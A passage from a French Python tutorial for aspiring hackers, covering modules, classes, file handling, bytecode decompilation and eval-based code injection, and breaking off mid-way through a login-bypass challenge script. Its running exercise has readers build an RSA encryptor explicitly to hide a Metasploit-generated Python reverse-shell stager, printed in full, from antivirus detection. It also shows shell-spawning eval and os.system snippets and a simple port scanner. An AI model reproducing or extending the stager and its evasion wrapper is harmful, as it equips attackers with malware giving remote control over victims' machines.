Aura exactement le mĂȘme effet que de taper :

#!/bin/python
import random as r
print(r.randint(0, 10)) # Nombre aléatoire entre 1 et 10

WARN : Faites attention à laisser des noms à peu prùs clairs à vos modules pour faciliter la relecture du code. Ici le nom n’est pas clair du tout

Mais on peut faire encore plus fou pour gagner un peu de temps dans certains cas. Afin d’éviter les conflits de fonctions existantes dans plusieurs modules, les concepteurs de python avaient en mis ce systĂšme de mĂ©thodes, mais ils ont laissĂ© la possibilitĂ© d’importer directement les attributs du module dans Python lui-mĂȘme.

On utilisera donc un autre moyen pour importer, par exemple, avec les fonctions mathématiques :

>>> from math import *

Cette ligne veut dire : « importe tous les composants du module math et incorpore-les Ă  la base de Python ». Ainsi, pour obtenir la valeur de π, je n’aurai plus Ă  taper cette longue ligne :

>>> math.pi
3.141592653589793

Je pourrai le faire directement en tapant :

>>> pi
3.141592653589793

De mĂȘme, afin de ne pas avoir Ă  importer trop de code, on peut sĂ©lectionner directement les composants que l’on souhaite en remplaçant l’astĂ©risque, qui je le rappelle met en Ă©vidence une sĂ©lection de tous les Ă©lĂ©ments, par le nom des mĂ©thodes qui nous intĂ©ressent :

#!/bin/python
from math import cos, sin, tan
import math
print("Cosinus de π / 2 = ", cos(math.pi / 2))

NOTE : L’utilisation des fonctions trigonomĂ©triques se fait en radians et non en degrĂ©s. Les non-initiĂ©s aux mathĂ©matiques seront perdus, mais dites-vous que pour toute transformation d’angle α, il suffit de faire (α*π)/180.

À savoir que vous aussi vous pouvez programmer vos propres modules, ou du moins, sĂ©parer votre code en plusieurs fichiers distincts. Cela peut permettre de rajouter un peu plus de clartĂ© Ă  vos productions.

Admettons que je possĂšde un fichier nommĂ© fonctions.py dans mon rĂ©pertoire de travail, et que je souhaite accĂ©der Ă  toutes mes fonctions incroyables depuis un autre fichier, eh bien c’est tout Ă  fait possible. Voici le contenu de fonctions.py :

#!/bin/python
import math
def f(x):
    '''f(x) = 3x + 3'''
    return 3 * x + 3

def g(x):
    '''g(x) = 2xÂČ + 3x – 9'''
    return 2 * (x**2) + 3 * x – 9

def enRadian(a):
    '''Renvoie la valeur en radian de a'''
    return (math.pi * a) / 180

NOTE : Utilisez les guillemets triple apostrophes (‘’’’’’) pour ajouter une doc Ă  vos fonctions. L’utilisation par d’autres dĂ©veloppeurs leur sera plus agrĂ©able.

Je dĂ©cide de crĂ©er un deuxiĂšme script appelĂ© trigo.py. L’agencement de mes fichiers est le suivant :

. 
├── fonctions.py
└── trigo.py

Je n’ai qu’à importer le fichier en utilisant son nom, dĂ©pourvu de l’extension py :

#!/bin/python
from fonctions import *
print("La valeur de 180° en radian est ", enRadian(180))

Mais que faire si les fichiers Ă  importer sont trop nombreux, le contenu du dossier n’est plus assez lisible pour qui veut exĂ©cuter notre programme :

Il est possible afin de garder une prĂ©sentation et une organisation des fichiers Ă  peu prĂšs potable, d’importer depuis un fichier qui se trouve lui-mĂȘme dans un dossier.

Par exemple :

. 
├── modules
│   └── fonctions.py
└── trigo.py

La ligne permettant l’import depuis mon dossier sera alors la suivante :

#!/bin/python
from modules.fonctions import *
print("La valeur de 180° en radian est ", enRadian(180))

Ce que vous venez de lire reprĂ©sente tout ce qu’il y a Ă  savoir sur les modules. Les notions n’étaient peut-ĂȘtre pas assez digestes dans la maniĂšre dont elles vous ont Ă©tĂ© montrĂ©es, alors tĂąchons de rĂ©viser ensemble avec des exercices guidĂ©s (mais pas trop quand mĂȘme ;) ).

NOTE : Cet exercice va utiliser des points d’arithmĂ©tiques, je m’efforcerai Ă  rester le plus clair possible afin que tout le monde puisse me comprendre. L’important n’est pas le cĂŽtĂ© mathĂ©matique, mais l’utilisation des notions, et si vraiment l’utilisation de ces derniĂšres vous brusque, passez Ă  l’exercice qui suit sur le module Turtle.

Ainsi donc, nous revoilà à devoir coder. Je vous avais demandé de garder les fonctions de la fois derniÚres, car nous les réutiliserions, eh bien nous allons le faire tout de suite. Dans un premier temps, renommer le fichier qui contenait vos fonctions en pgcd_func.py. Créez ensuite un nouveau script nommé rsa.py, notre objectif sera de reproduire notre version de ce célÚbre algorithme de chiffrement afin de « cacher » nos trojans.

Tout le reste de l’exercice se fera dans le fichier rsa.py. Importez les fonctions de la partie prĂ©cĂ©dente, ainsi que le module random.

NOTE : Seule la méthode randint(a, b) du module random sera utilisée, vous pouvez donc ne sélectionner que cette derniÚre. Pour rappelle, elle renvoie un nombre aléatoire appartenant à [a, b[ (intervalle a inclus, b exclus).

Dans un premier temps, Ă©crivez la fonction premier(a, b) qui renvoie un nombre premier appartenant Ă  l’intervalle a, b inclus ([a, b]). On se servira de la fonction diviseur(a), et on se rappellera qu’un nombre premier n’a que deux diviseurs, 1 et lui-mĂȘme.

Écrire ensuite une fonction clef(). Elle utilise trois variables : p, un nombre premier alĂ©atoire compris entre 10 et 100, q, un autre nombre premier alĂ©atoire compris entre 10 et 100, et n, le produit de p par q.

Toujours au sein de cette mĂȘme fonction clef, on dĂ©clare une variable nommĂ©e phi, Ă©gale au produit de (p – 1) et de (q – 1) (autrement dit pour les matheux, il s’agit de l’indicatrice d’Euler en n, comptant le nombre de nombres premiers avec n sur l’intervalle [1, n]).

On cherche ensuite Ă  dĂ©terminer l’exposant de chiffrement e. Pour ce faire, on le dĂ©termine un peu alĂ©atoirement (une boucle testant les possibilitĂ©s les plus appropriĂ©es serait indĂ©niablement beaucoup plus pratique) tel que e < phi et PGCD(phi, e) = 1 (⇔ φ(n) et e sont premiers entre eux).

Puis on dĂ©termine d, l’exposant de dĂ©chiffrement, tel que (e * d) % phi = 1 (⇔ ). Enfin, la fonction renvoie un tuple contenant dans l’ordre e, d et n. C’est tout pour la partie complexe, j’espĂšre ne pas trop vous avoir perdu.

On écrit ensuite une fonction rsa_cyp(msg, e=0, n=0) qui chiffre le message de la méthode suivante :

On écrit ensuite la fonction inverse, rsa_dec(L, d, n), tel que :

>>> resultat = "".join(liste)

ArrĂȘtons avec les maths avant que certains ne s’éclatent la tĂȘte contre un mur. Je vous avais dit qu’aucune rĂ©ponse ne serait donnĂ©e ; dans ma grande clĂ©mence, je vous offre ces prĂ©cieuses fonctions toutes faites, ou du moins quelques bribes pour vous aider.

from ... import ...

def clef():
   # Cette fonction génÚre les clefs publiques et privées
   # Elle les renvoie sous forme d'un tuple, accompagné de n
   p  = premier(..., ...)
   q  = premier(..., ...)
   n  = ... * q
   phi = (p - ...) * (... - 1)
   # On définit e, exposant de chiffrement
   while True:
       e = random.randint(2, n)
       if pgcd(e, ...) == 1 and e < phi:
           break
   # On définit d, exposant de déchiffrement
   ... i ... range(phi):
       if (i * e) % phi == ...:
           d = i
           break
   ... (e, d, ...)

Remplacez les zones marquĂ©es par 
 par les vraies valeurs attendues dans le code. Vous aurez Ă  rĂ©utiliser certaines notions vues prĂ©cĂ©demment, comme toujours. Les fonctions rsa_cyp et rsa_dec Ă©tant plus simple Ă  apprĂ©hender, je vous laisse les Ă©crire vous-mĂȘmes.

Je vous avais promis que nous allions chiffrer un trojan, et je tiens à garder parole auprÚs de vous. Nous allons utiliser un cheval de Troie généré par Metasploit :

import socket, zlib, base64, struct, time 
for x in range(10): 
    try: 
        s = socket.socket(2, socket.SOCK_STREAM) 
        s.connect(('192.168.1.1', 4200)) 
        break 
    except: 
        time.sleep(5) 
l = struct.unpack('>I', s.recv(4))[0] 
d = s.recv(l) 
while len(d) < l: 
    d += s.recv(l - len(d)) 
exec(zlib.decompress(base64.b64decode(d)), {'s':s})

NOTE : Remplacez bien ‘192.168.1.1’ et 4200 par les valeurs attendues à la fin dans Metasploit si vous voulez vraiment que le trojan fonctionne.

Ce bout de code, offert gracieusement et surtout gratuitement par Metasploit, tente d’abord d’ouvrir une connexion sur la machine du pirate depuis celle de la victime, on parle d’un test de connectivitĂ©, puis rĂ©ceptionne le shellcode envoyĂ© par le service de Metasploit prĂ©vu Ă  cet effet.

Ce code est anodin pour un virus (dans certaines mesures), et donc trùs facilement reconnaissable pour un logiciel de protection. C’est pourquoi nous allons utiliser notre fonction rsa_cyp pour le chiffrer et ainsi outre-passer les antivirus utilisant la reconnaissance par paternes de codes.

Coller le code du virus dans un fichier (en ayant modifiĂ© l’IP et le port), nous allons le modifier en utilisant les fonctions liĂ©es aux fichiers, mais ça, vous le verrez dans le prochain chapitre. Pour dĂ©compresser, je vous propose d’exprimer votre Ăąme d’artiste en utilisant le module turtle.

NOTE : Turtle est gĂ©nĂ©ralement installĂ© par dĂ©faut sur la plupart des distributions Linux. Si ce n’est pas le cas, un rapide $ pip install turtle suffira.

Les instructions du module sont simples à utiliser :

#!/bin/python
import turtle as t

t.up()       # LĂšve le crayon (arrĂȘte d'Ă©crire)
t.down()     # Baisse le crayon (recommence à écrire)
t.goto(x, y) # Déplace le curseur en (x; y)
t.fd(n)      # Avance de n pixels dans la direction du curseur
t.back(n)    # Avance de n pixels dans la direction opposée
t.rt(a)      # Effectue une rotation de a degrés

NOTE : Si vous voulez admirer vos chefs-d’Ɠuvre plus longuement, vous devriez songer Ă  utiliser le module time et sa mĂ©thode time.sleep(n) permettant d’attendre n secondes. Cela empĂȘchera la fenĂȘtre de se fermer.

Par exemple, le code pour dessiner un carré de 50 pixels de longueur sera :

#!/bin/python
import turtle as t

for i in range(4):
    t.fd(50)
    t.rt(90)

Vous ne devriez avoir aucun mal à reproduire les figures suivantes :

Pour le dernier cas, il s’agit d’un fractal appelĂ© Flocon de Koch, pensez donc adapter le tracĂ© en fonction d’un degrĂ© n. Pour ce faire, utilisez les fonctions rĂ©cursives comme nous l’avons appris, c’est un exercice dur mais rĂ©alisable, ne vous attardez cependant pas un siĂšcle et demi dessus ; Le plus important dans ce chapitre est l’utilisation des modules Python.

Programmation Orientée Objet

Nous avons dĂ©jĂ  abordĂ© la notion d’objet et de programmation orientĂ©e objet dans le chapitre prĂ©cĂ©dent. Vous savez que n’importe quel Ă©lĂ©ment, Ă  l’exception des mots-clef, sont des objets, et qu’en tant que tel, ils possĂšdent des mĂ©thodes que l’on peut appeler.

Vous savez Ă©galement que le meilleur moyen pour avoir accĂšs Ă  la liste des mĂ©thodes d’un objet est de taper :

>>> dir(obj)

Et que vous pouvez avoir accÚs aux indications laissées par le développeur avec :

>>> help(obj.methode)

Vous ĂȘtes Ă©galement au courant qu’il existe une infinitĂ© d’objets
 Quoique, non ! Je ne vous l’avais pas dit, ou plutĂŽt, vous l’avais cachĂ©. En Python, n’importe qui peut crĂ©er des objets grĂące Ă  ce que l’on appelle les classes.

Ces derniĂšres permettent de gĂ©nĂ©rer Ă  la chaĂźne des objets se ressemblant, ou du moins, possĂ©dant exactement les mĂȘmes attributs et fonctions. Pour en dĂ©clarer une, on utilise le mot-clef class comme ceci :

class ma_classe:
    pass

Cette classe ne fait rien et n’a strictement aucune utilitĂ© dans un programme, mais nous allons la faire Ă©voluer pour vous aider Ă  comprendre.

Avec notre classe, nous pouvons instancier un premier objet x :

x = ma_classe()

Ça ne vous a pas Ă©chappĂ©, mais la maniĂšre dont on dĂ©finit un objet est similaire Ă  la maniĂšre dont on appelle une fonction. Cette syntaxe est due Ă  la construction mĂȘme d’un objet en Python. En effet, si on jette un rapide coup d’oeil Ă  la liste des mĂ©thodes de x avec :

dir(x)

On remarque que plusieurs attributs et fonctions sont prĂ©sents, alors mĂȘme que nous n’en avons dĂ©clarĂ©s aucun. Un d’entre eux, nommĂ© __init__, est une fonction permettant de dĂ©clarer un objet. Nous pouvons la redĂ©finir dans la structure de notre classe :

#!/bin/python
class ma_classe:
    def __init__(self):
        pass

Dans cet exemple, la structure de x, s’il est redĂ©fini, ne va pas changer ; En revanche, ces lignes sont un terreau trĂšs fertile pour nos futures expĂ©riences.

Le paramĂštre self de la fonction n’est pas vraiment une option, il est appelĂ© Ă  chaque fois par la fonction et correspond Ă  l’objet en lui-mĂȘme. N’importe quelle fonction au sein de notre classe devra appeler ce paramĂštre, sous ce nom ou un autre, tant qu’il est prĂ©sent Ă  la premiĂšre place.

C’est donc grñce à cette fonction et à son paramùtre que nous allons pouvoir initialiser de nouveaux attributs (et non fonctions) pour notre objet.

Par exemple :

#!/bin/python
class ma_classe:
    def __init__(self):
        self.valeur = 0

NOTE : Notez bien que quelle que soit la variable que vous voulez initialiser, si vous voulez quelle soit un attribut de l’objet, il faut noter son nom aprùs self.

De la mĂȘme maniĂšre, on peut dĂ©clarer des attributs Ă  l’aide de valeurs qui seront donnĂ©s plus tard dans le code. Pour ça, il suffit d’ajouter des paramĂštres au sein de la fonction __init__, et d’utiliser les valeurs passer en paramĂštre pour dĂ©finir les attributs de l’objet, comme ci-dessous :

#!/bin/python
class ma_classe:
    def __init__(self, valeur):
        self.valeur = valeur

AprÚs avoir redéfini __init__, on peut dÚs maintenant utiliser cette nouvelle classe en définissant une fois de plus x :

x = ma_classe(0)
print(dir(x))

Le résultat sera le suivant :

['__class__', '__delattr__', ..., 'valeur']

On peut voir que le nouvel attribut « valeur » c’est greffĂ© Ă  notre liste. De plus, on peut avoir accĂšs Ă  sa valeur en tapant le nom de notre objet, suivi de celui de son attribut :

print(x.valeur)

Prenons maintenant un exemple concret d’utilisation de la programmation orientĂ©e objet. Imaginons que vous soyez concepteur de jeux-vidĂ©o et que vous dĂ©siriez coder un jeu de combat entre plusieurs joueurs. L’utilisation des classes serait alors Ă  privilĂ©gier, car Ă  l’inverse des dictionnaires, les objets peuvent appeler des fonctions qui leur sont propres, ce qui permet de rajouter une certaine clartĂ© Ă  votre code.

Par exemple, on pourrait trÚs bien avoir ce genre de classe :

#!/bin/python
class Personnage:
    def __init__(s, nom, race, vie):
        s.nom = nom
        s.race = race
        s.vie = vie
zeus = Personnage("Zeus", "Dieu", 1000)

NOTE : Le nom des classes commence par une majuscule, c’est une convention d’écriture. Vous pouvez Ă©galement voir qu’ici, self a Ă©tĂ© renommĂ© en s.

On pourrait Ă©galement imaginer une fonction permettant de donner le statut de notre personnage, ce qui serait trĂšs pratique pour les joueurs. Ça tombe bien, la fonction __str__ permet de renvoyer la chaĂźne de caractĂšre que l’on souhaite Ă  propos de l’objet. Pour le moment, elle ne renvoie que le type d’objet de la variable, changeons donc la un peu :

#!/bin/python
class Personnage:
    def __init__(s, nom, race, vie):
        ...
    def __str__(s):
        return "Le personnage " + s.nom + " a " + str(s.vie) + " vies"

zeus = Personnage("Zeus", "Dieu", 1000)
print(zeus)

NOTE : La fonction native str() permet de transformer n’importe quel objet en chaüne de caractùres.

WARN : Évitez d’utiliser directement print() dans __str__, la mĂ©thode peut ĂȘtre appelĂ©e avec la fonction str() et dans ce cas, elle ne renverrait rien.

Ce qui a pour effet :

Le personnage Zeus a 1000 vies

Vous l’aurez compris Ă  l’aide des fonctions __init__ et __str__, toute fonction Ă©tant entourĂ©e de deux underscores de chaque cĂŽtĂ© dans son nom est une fonction native de la classe gĂ©nĂ©rĂ©e automatiquement que l’on peut changer Ă  notre guise. Bien Ă©videmment, vous pouvez crĂ©er vos propres fonctions, par exemple, imaginons que Zeus est Ă  affronter de nombreux adversaires, une fonction dans la classe permettant de perdre de la vie serait bien pratique :

#!/bin/python
class Personnage:
    def __init__(s, nom, race, vie):
        ...
    def perdreVie(s, degats):
        s.vie -= degats

zeus = Personnage("Zeus", "Dieu", 1000)
zeus.perdreVie(50)
print(zeus)

On verra une diminution dans les points de vie de Zeus :

Le personnage Zeus a 950 vies

De maniĂšre gĂ©nĂ©rale, n’importe quel paramĂštre prĂ©cĂ©dĂ© de deux underscores sera invisible aux yeux de l’utilisateur lambda. Ainsi, vous pouvez trĂšs bien dĂ©clarer des attributs n’apparaissant pas dans le manuel Ă  l’aide

#!/bin/python
import random as r
class Personnage:
    def __init__(s, nom, race, vie, force = r.randint(40, 80)):
        ...
        s.__force = force

zeus = Personnage("Zeus", "Dieu", 1000)

Avec ces deux underscores, nous empĂȘchons aux utilisateurs de la classe d’utiliser les attributs de l’objet en dehors de la classe elle-mĂȘme. Ainsi, la ligne suivante renverra une erreur :

zeus.__force = 100

C’est Ă  peu prĂšs tout ce qu’il y a Ă  savoir sur les objets et les classes. Passons Ă  notre, dĂ©sormais sacrĂ©e, sĂ©ance d’exercices.

NOTE : N’oubliez pas d’ajouter une documentation Ă  vos classes si jamais elles doivent ĂȘtre utilisĂ©es par d’autres utilisateurs.

Avant de reprendre notre petit bijou de code permettant de chiffrer nos trojans, je vous propose d’utiliser les classes dans le but de crĂ©er un programme de reconnaissance d’IP sur le rĂ©seau. Oui, c’est totalement une copie ratĂ©e de nmap que nous nous apprĂȘtons Ă  faire et non, ce ne sera pas trĂšs difficile, du moins, ce sera moins une prise de tĂȘte que notre logiciel chiffrant des chevaux de Troie.

Pour ce faire, on donnera la fonction ping à compléter ci-dessous :

#!/bin/python
import subprocess as sp
def ping(adrs):
    o = sp.getoutput("ping -c 4 " + adrs)
    # A compléter ...

On se servira de cette fonction pour savoir si une machine est joignable et si oui, en combien de temps le paquet y arrive. La valeur est ensuite stockée pour servir à décrire un objet machine ayant une adresse IP, une joignabilité (si on peut le ping, donc attribut à True ou False) et un temps de connexion pour le joindre.

A l’aide d’une interface par terminal, on propose Ă  l’utilisateur, aprĂšs lui avoir affichĂ© les machines joignables depuis son rĂ©seau, d’en sĂ©lectionner une pour Ă©tudier les diffĂ©rents ports ouverts. On se basera pour ce faire sur la fonction suivante :

#!/bin/python
import socket
def portOuvert(ip, port):
    c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    return True if c.connect_ex((ip, port)) == 0 else False

Et voilà, notre petit analyseur de réseau marche comme sur des roulettes !

NOTE : Rajoutez des instructions pour sauvegarder la liste des ports ouverts dans l’objet Machine, et demander à l’utilisateur s’il veut effectuer une nouvelle fois l’analyse lorsqu’il redemandera la liste des ports de la machine.

Reprenons notre cheval de Troie, je sais que vous ĂȘtes impatient de le finir. Dans les chapitres prĂ©cĂ©dents, nous avons programmĂ© de quoi chiffrer ce petit trojan pour le rendre indĂ©tectable aux yeux des antivirus ; notre objectif va ĂȘtre maintenant de chiffrer notre code qui se trouve dans un fichier extĂ©rieur, et de rendre un brin plus comprĂ©hensible le rĂ©sultat obtenu afin qu’il soit interprĂ©tĂ© par la machine de la victime.

À l’intĂ©rieur mĂȘme du langage Python, il existe un type d’objet gĂ©rant les fichiers, nous permettant ainsi de les lire, de les crĂ©er ou encore de les modifier ou de les supprimer.

La syntaxe pour ouvrir un fichier sera la suivante :

f = open(chemin, mode)

« chemin » est la route Ă  suivre pour arriver jusqu’au fichier depuis notre code python (dĂ©pend de l’emplacement du fichier python dans l’arborescence, ou de l’endroit oĂč est ouvert l’interprĂ©teur), « mode » renvoie Ă  l’utilitĂ© que va avoir notre fichier ouvert dans notre code Python (lire, Ă©crire, les deux, etc.). Il existe de nombreux modes dont voici une brĂšve liste :

Pour lire notre trojan dans notre programme principal, le code sera donc :

fichier = open("trojan.py", 'r')
contenu = fichier.read()

« contenu » est ici une chaĂźne de caractĂšres avec laquelle on va pouvoir jouer, et donc la modifier avec notre fonction rsa_cyp(). Le tuple renvoyĂ© sera mis dans un nouveau fichier Python que notre programme va crĂ©er, il sera utilisĂ© conjointement avec la fonction rsa_dec() qui sera collĂ©e ipso facto dans le mĂȘme fichier.

Schématiquement, cela donne ceci :

Voilà ! Notre chiffreur de chevaux de Troie est fini. Ce fut une rude et longue épreuve pour tous. Il est désormais entiÚrement fonctionnel, libre à vous de le modifier pour y ajouter des fonctions.

NOTE : La partie sur la cryptographie regorge d’algorithmes pouvant ĂȘtre utilisĂ©s de la mĂȘme maniĂšre que l’est RSA ici.

Compilation, décompilation et bytecode

Dans les deux derniers chapitres de ce module sur Python, nous allons Ă©tudier plus en profondeur le langage pour comprendre son fonctionnement. Cela vous servira Ă  effectuer de la rĂ©tro-ingĂ©nierie sur des scripts prĂ©-compilĂ©s et de l’exploitation de code comportant des failles liĂ©es Ă  une mauvaise gestion.

Python est un langage dit interprĂ©tĂ©. Cela veut dire que les instructions sont retranscrites en langage machine au fur et Ă  mesure qu’elles sont lues par Python. C’est donc une mĂ©thode d’action totalement opposĂ©e Ă  celle d’autres langages dits compilĂ©s, qui vont dans un premier temps retranscrire les instructions en langages machines, puis laisser l’ordinateur interprĂ©ter le tout lorsque le fichier sera exĂ©cutĂ©.

Cependant, bien que les instructions ne soient pas compilĂ©es (passage du code d’un langage plus humain au langage machine), afin de gagner du temps lors de l’exĂ©cution, Python va retranscrire notre code en bytecode.

Quand vous avez exĂ©cutĂ© les codes des exemples, ou que vous avez vĂ©rifiĂ© que ce que vous aviez marquĂ© pour les exercices fonctionnait, un dossier nommĂ© __pycache__ est sĂ»rement apparu, avec Ă  l’intĂ©rieur un certain nombre de fichier portant l’extension .pyc. Étudions-les de plus prĂšs, et, dans un premier temps, gĂ©nĂ©rons un fichier pyc d’un programme simple.

Prenons comme programme la fonction suivante d’un fichier nommĂ© salut.py :

def salut(): 
    print("Salut Ă  toi utilisateur !") 
salut()

Afin de gĂ©nĂ©rer un fichier pyc Ă  partir de ce code, il va falloir le compiler Ă  l’aide du module py_compile, le tout dans l’interprĂ©teur de Python :

>>> import py_compile 
>>> py_compile.compile("salut.py")
'__pycache__/salut.cpython-38pyc'

La derniĂšre fonction de py_compile renvoie l’adresse Ă  laquelle on peut retrouver notre fichier compilĂ© (il y a de forte possibilitĂ© qu’elle soit totalement diffĂ©rente pour vous).

Essayons de le lire :

cat __pycache__/salut.cpython-38.pyc
o 
ïżœïżœb=ïżœ@sddïżœZeïżœdS)cCs 
                  tdïżœdS)Nu▒Salut Ă  toi utilisateur !)ïżœprintïżœrrsalut.pyïżœsaluts 
                                                                             rN)rrrrr<module>s

Avec un petit flux de redirection vers la commande strings, on peut rendre le résultat plus lisible, mais pas de quoi comprendre entiÚrement le code :

cat __pycache__/salut.cpython-38.pyc | strings
Salut
toi utilisateur !)
print
salut.py
salut
<module>

Afin de rĂ©cupĂ©rer le code source original dans l’optique de faire de la rĂ©tro-ingĂ©nierie, on peut utiliser le module Uncompyle6. Malheureusement ce dernier n’est pour l’instant pas disponible pour les versions les plus rĂ©centes de Python, il faudra donc l’installer sur une version plus ancienne du langage (ici 3.8) :

add-apt-repository ppa:deadsnakes/ppa -y
apt update
apt install python3.8

WARN : Python est un langage qui évolue trÚs vite, ne recopiez pas ces lignes sans réfléchir en pensant pouvoir avancer, adaptez-les de telle sorte à avoir la version de Python collant le plus à vos besoins (supportée par Uncompyle6)

On récupÚre pip pour installer Uncompyle6 plus simplement :

curl -sSL https://bootstrap.pypa.io/get-pip.py | python3.8

WARN : Évitez d’exĂ©cuter des fichiers tĂ©lĂ©chargĂ©s avec curl sans les avoir consultĂ©s avant. e vous demande de me faire confiance pour celui-ci, mais prĂȘtez bien attention Ă  l’avenir avec ce genre de mĂ©thodes pas trĂšs sĂ©curisĂ©es.

On peut ensuite installer Uncompyle6 :

python3.8 -m pip install Uncompyle6

NOTE : appeler Python avec le paramùtre -m permet d’utiliser un module.

Pour dĂ©compiler le code, il suffira alors d’exĂ©cuter la commande comme suit :

uncompyle6 __pycache__/salut.cpython-38.pyc
...
def salut():
   print('Salut à toi utilisateur !')

salut()
...

Nous venons ainsi de dĂ©compiler un code entier, ce qui nous a permis de retrouver sa version originale. Si l’utilitĂ© de la rĂ©tro-ingĂ©nierie en Python peut vous paraĂźtre dĂ©risoire avec cet exemple, imaginez la situation suivante :

Vous avez dĂ©couvert une machine avec un service ssh disponible sur le port 22. Ni une ni deux, vous Ă©numĂ©rez les diffĂ©rents utilisateurs prĂ©sents sur la machine pouvant se connecter au serveur. Il se trouve qu’un utilisateur nommĂ© bob peut se connecter au systĂšme. Ce qui est Ă©trange avec cet utilisateur, c’est que lorsqu’il se connecte, plutĂŽt que d’utiliser les services proposĂ©s par Linux, il prĂ©fĂšre se servir d’un petit script Ă©crit dans vous ne savez quel langage.

AprÚs un peu plus de réflexion, vous vous rendez compte que sur le serveur web de bob se trouve un fichier nommé connexion.min.pyc. Vous décidez de le télécharger et vous retrouvez en face de ce jeu de données :

Avec Uncompyle6, vous arrivez aisĂ©ment Ă  retrouver le code d’origine :

import os 

print("...") 
mdp = input('\n\nMot de passe de Bob : ') 

try: 
    mdp = int(mdp) 
except ValueError: 
    print("On voulait rentrer quelque chose d'autre ;)") 
    mdp = 0 

if mdp + 10 == 23: 
    os.system('sh') 
else: 
    print('Mot de passe incorrect !')

Le mot de passe est donc beaucoup plus clair, il suffit alors de rentrer 13 et le programme vous ouvre un shell. La rĂ©tro-ingĂ©nierie peut s’avĂ©rer trĂšs pratique pour ce genre de cas, mais ce n’est rien Ă  cĂŽtĂ© des failles de sĂ©curitĂ©s prĂ©sentes dans certaines versions de Python.

De mĂȘme, vous pourrez voir certaines fois des bytecodes prĂ©sents sous cette forme un peu spĂ©ciale :

 2           0 LOAD_CONST               1 (3)
             2 LOAD_FAST                0 (x)
             4 BINARY_MULTIPLY
             6 LOAD_CONST               2 (2)
             8 BINARY_ADD
            10 RETURN_VALUE

Cette syntaxe particuliĂšre est beaucoup plus lisible que ce que vous trouverez dans les pyc, mais n’étant pas compilĂ©, vous ne pourrez donc pas utiliser Uncompyle6. A s’y mĂ©prendre, on pourrait la confondre avec de l’assembleur, ce petit langage faisant la jonction entre un langage comprĂ©hensible par l’Homme comme le C, et le langage binaire.

Malheureusement, il n’existe pas d’outils pour transformer efficacement ce genre de bytecode en code python utilisable et comprĂ©hensible. À la rigueur, vous pouvez transformer le fichier en pyc avec un programme comme python-xasm disponible sur Github, mais si ça ne marche pas, il faudra trouver d’autres solutions.

Il faudra donc convertir Ă  la main ces bouts de codes, mais n’ayez crainte, ils suivent une certaine logique. Le nombre le plus Ă  gauche renvoie au numĂ©ro de la ligne en Python, le fait que, dans l’exemple donnĂ©, ce nombre soit 2 signifie qu’il manque une ligne juste avant. Il y a donc de fortes probabilitĂ©s que nous soyons dans une fonction au nom inconnu, appelons la f().

LOAD_CONST permet de charger une valeur, peu importe son type, LOAD_FAST permet de charger une variable et BINARY_[instruction] permet d’effectuer une opĂ©ration mathĂ©matique (ex : BINARY_MULTIPLY = multiplication). Les trois premiĂšres lignes veulent donc dire 3 * x. Si on dĂ©chiffre la suite on obtient un +2 et un renvoie de valeur, nous sommes donc bien dans une fonction, ce qui veut dire que la premiĂšre ligne est la dĂ©claration de cette fonction, et de facto, x est un paramĂštre de cette fonction :

>>> def f(x):               
...     return 3 * x + 2

On peut trùs facilement retrouver l’assembleur d’un fichier avec le module dis :

>>> from dis import dis
>>> dis(f)
 2           0 LOAD_CONST               1 (3)
...

Différences entre version de Python et exploitation de fichiers

Maintenant que vous savez que le code Python peut ĂȘtre compilĂ© pour gagner du temps dans l’interprĂ©tation des instructions, et que nous pouvons rĂ©cupĂ©rer le code original d’un script compilĂ© Ă  l’aide d’un processus appelĂ© la rĂ©tro-ingĂ©nierie, eh bien l’on peut dire que vous ĂȘtes bien renseignĂ© sur ce langage.

Cependant, il reste un domaine que vous devez approfondir, celui des versions de Python. Tout Ă  l’heure, vous avez pu voir que d’une version Ă  l’autre de Python, certains modules ne sont plus disponibles, certaines fonctionnalitĂ©s disparaissent, d’autres apparaissaient, et, si beaucoup de problĂšmes peuvent ĂȘtre rĂ©solus par la simple installation d’une version antĂ©rieure, parfois les choses ne sont pas si faciles.

Si Python change, c’est certes pour remettre au goĂ»t du jour certaines de ses syntaxes, par exemple l’affichage du texte qui est passĂ© de ça :

print "mon texte"

À ça lors du passage de python2 à python3 :

print("mon texte")

Parfois ce sont des correctifs de sĂ©curitĂ© qui sont apportĂ©s, l’un des plus importants fut celui de la fonction input(). Cette derniĂšre Ă©tait pourvue d’une fonctionnalitĂ© d’élĂ©vation de l’expression, ce qui la rendait vulnĂ©rable Ă  l’injection de code. En d’autres termes, n’importe qui pouvait rentrer du code qui allait ĂȘtre exĂ©cutĂ© par le script, et, si une telle faille n’a pas d’intĂ©rĂȘt lorsqu’elle est exĂ©cutĂ©e sur notre ordinateur, elle en a beaucoup plus quand ce script permet une Ă©lĂ©vation de privilĂšge oĂč l’accĂšs Ă  une machine.

Je ne vous ai pas encore parlĂ© de la fonction eval(). Elle permet d’obtenir le rĂ©sultat d’une expression qu’on lui transmet sous la forme d’une chaĂźne de caractĂšres, par exemple :

>>> eval("3+2")
5

Mais cela peut aussi se faire avec des blocs de code complet :

>>> import os
>>> eval("os.system('sh')") 
sh-5.1$

Alors imaginer un peu maintenant les dĂ©gats que peut faire une fonction input qui se comporte comme une demande d’injection de code


Pour pallier Ă  ce problĂšme, les dĂ©veloppeurs de python2 avaient créé la fonction raw_input qui n’effectuait pas une Ă©lĂ©vation de l’expression :

>>> raw_input("Rentrez une expression : ") 
Rentrez une expression : 5+5 
'5+5'

On peut dire que la fonction input était définie comme ci-dessous :

def input(expr):
    return eval(raw_input(expr))

Pour vĂ©rifier que vous avez bien compris les deux chapitres prĂ©cĂ©dents, je vous propose un petit jeu. Le but est de rĂ©ussir Ă  vous identifier sur la machine (la vĂŽtre) en usant de ruses et d’intelligences.

Copiez le code suivant dans un fichier :

#!/bin/python3
import os

def authentification():
   utilisateur = input("Nom d'utilisateur : ")
   if "sh" in utilisateur or "py" in utilisateur:
       print("Alors comme ça on essayait d'avoir un shell ;)")
       return False
   mdp = input("Mot de passe de " + str(eval(utilisateur)) + " : ")
   if len(utilisateur) >= 20 and not ' ' in utilisateur:
       if eval(utilisateur) == "MauriceBarrÚs":
           rep = [117, 6, 16, 67, 71, 16, 2, 11, 1, 76, 20, 83, 68]
           k = "9ce140dbf9f6761923af0f99ec27e758"
           mdp = [ord(c) for c in mdp]
           for i in range(len(mdp)):
               mdp[i] = mdp[i] ^ ord(k[i])
               if mdp[i] != rep[i]:
                   print("Mot de passe incorrect")
                   return False
           print("Bienvenue sur votre systÚme ! ")
           os.system("sh")
       else:
